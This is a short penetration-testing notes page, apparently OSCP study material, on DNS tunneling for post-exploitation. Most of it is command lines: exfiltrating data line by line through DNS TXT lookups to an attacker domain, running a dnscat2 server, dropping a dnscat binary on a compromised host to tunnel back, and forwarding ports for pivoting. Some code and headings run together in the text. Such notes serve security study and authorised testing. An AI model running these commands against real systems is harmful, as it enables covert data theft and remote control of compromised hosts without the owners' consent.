// notes/ Pivoting & Tunneling
🚀
DNS Tunneling
Data can be exfiltrated using DNS records and the protocol itself
#post exploitation#adot8
source · oscp.adot8.com · post-exploitation/dns-tunneling ↗DNS Tunneling
Data can be exfiltrated using DNS records and the protocol itself
Create a txt record on compromised server and exfil line by line
code
01nslookup -type=txt exfiltrated.data.dogs.corpdnscat2
Spin up dnscat2 server
code
01dnscat2-server feline.corpDrop binary on compromised host and create tunnel
code
01./dnscat feline.corpView sessions
code
01windowsInteract with a session
code
01window -i 1Set up a port forward
code
01listen 0.0.0.0:1338 172.16.192.217:4646